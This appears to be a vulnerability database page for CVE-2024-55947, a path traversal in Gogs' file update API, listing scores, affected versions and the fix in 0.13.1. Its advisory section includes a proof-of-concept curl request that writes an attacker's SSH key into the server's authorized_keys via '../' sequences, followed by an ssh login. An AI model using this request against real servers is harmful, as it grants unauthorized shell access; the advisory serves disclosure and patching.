CVE-2024-55947
JSON

8.7high

Gogs has a Path Traversal in file update API

Severity
8.7high CVSS:4.0 by GitHub_M
Exploit likelihood
77.7% (higher than 99% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-qf5v-rp47-55ggGO-2024-3356

Description

Gogs is an open source self-hosted Git service. A malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server. The vulnerability is fixed in 0.13.1.

Affected

Product or packageVersionsReported by
gogs gogs< 0.13.1, before 0.13.1CVE List, NVD
gogs.io/gogs (Go)before 0.13.1GitHub Advisory Database, Go Vulnerability Database

All scores

GitHub_M8.7high CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
GitHub8.8high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
GitHubhigh CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
NVD8.8high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Classification

CWE-22

SSVC (CISA-ADP): exploitation poc, automatable yes, technical impact partial.

What each source says

CVE List

Gogs is an open source self-hosted Git service. A malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server. The vulnerability is fixed in 0.13.1.

GitHub Advisory Database
Impact

The malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server.

Patches

Writing files outside repository Git directory has been prohibited via the repository file update API (https://github.com/gogs/gogs/pull/7859). Users should upgrade to 0.13.1 or the latest 0.14.0+dev.

Workarounds

No viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions.

References

n/a

Proof of Concept
  1. Generate a Personal Access Tokens

  2. Edit any file on the server with this

    curl -v --path-as-is -X PUT --url "http://localhost:10880/api/v1/repos/Test/bbcc/contents/../../../../../../../../home/git/.ssh/authorized_keys" \
    -H "Authorization: token eaac23cf58fc76bbaecd686ec52cd44d903db9bf" \
    -H "Content-Type: application/json" \
    --data '{
      "message": "an",
      "content": "<base64encoded: your ssh pub key>"
    }'
    
  3. ssh connect to remote server

    ssh -i temp git@localhost -p 10022
    
For more information

If you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/7582.

Go Vulnerability Database

Path Traversal in file update API in gogs in gogs.io/gogs

NVD (es)

Gogs es un servicio Git autohospedado de código abierto. Un usuario malintencionado puede escribir un archivo en una ruta arbitraria del servidor para obtener acceso SSH al servidor. La vulnerabilidad se solucionó en 0.13.1.

References

Sources

SourceRecordLicence
CVE ListCVE-2024-55947 changed 2024-12-24CVE Terms of Use
GitHub Advisory DatabaseGHSA-qf5v-rp47-55gg changed 2026-09-10CC-BY-4.0
Go Vulnerability DatabaseGO-2024-3356 changed 2026-03-03CC-BY-4.0
NVDCVE-2024-55947 changed 2026-06-17Public domain